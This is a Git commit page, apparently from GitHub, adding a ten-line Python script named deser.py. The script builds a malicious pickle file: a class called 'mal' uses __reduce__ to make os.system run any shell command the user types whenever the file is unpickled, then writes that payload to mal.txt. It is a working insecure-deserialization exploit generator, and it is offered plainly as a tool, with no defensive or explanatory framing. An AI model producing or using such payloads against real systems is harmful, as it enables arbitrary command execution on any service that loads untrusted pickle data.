Create deser.py

main
witchdocsec 2022-06-27 22:18:30 +01:00 committed by GitHub
parent 249f943461
commit 58a6fba990
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 10 additions and 0 deletions

10
deser.py Normal file
View File

@ -0,0 +1,10 @@
import pickle
com=str(input("shell comand: "))
class mal:
def __reduce__(self):
import os
return (os.system, (com,))
pckl=pickle.dumps(mal())
f=open("mal.txt","wb")
f.write(pckl)
f.close()